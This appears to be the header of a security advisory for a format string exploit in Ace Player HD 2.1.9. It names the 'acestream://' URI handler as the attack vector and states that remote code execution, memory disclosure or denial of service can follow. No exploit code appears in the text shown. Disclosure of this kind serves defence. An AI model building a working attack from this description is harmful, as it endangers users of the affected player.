ACE Stream Media 2.1 (acestream://) Format String Exploit PoC Vendor: ACE Stream Product web page: http://www.acestream.org Affected version: Ace Player HD 2.1.9 (VLC 2.0.5) Summary: Ace Stream is an innovative multimedia platform of a new generation, which includes different products and solutions for ordinary Internet users as well as for professional members of the multimedia market. Ace Stream uses in its core, P2P (peer-to-peer) technology, BitTorrent protocol, which is acknowledged as the most effective protocol to transfer/deliver 'heavy content'. Desc: ACE Stream Media (Ace Player HD) is prone to a remote format string vulnerability because the application fails to properly sanitize user-supplied input thru the URI using the 'acestream://' protocol before including it in the format-specifier argument of a formatted-printing function. A remote attacker may exploit this issue to execute arbitrary code with the privileges of the user running the affected application and/or cause memory address disclosure. Failed exploit attempts may cause denial-of-service (DoS) conditions.
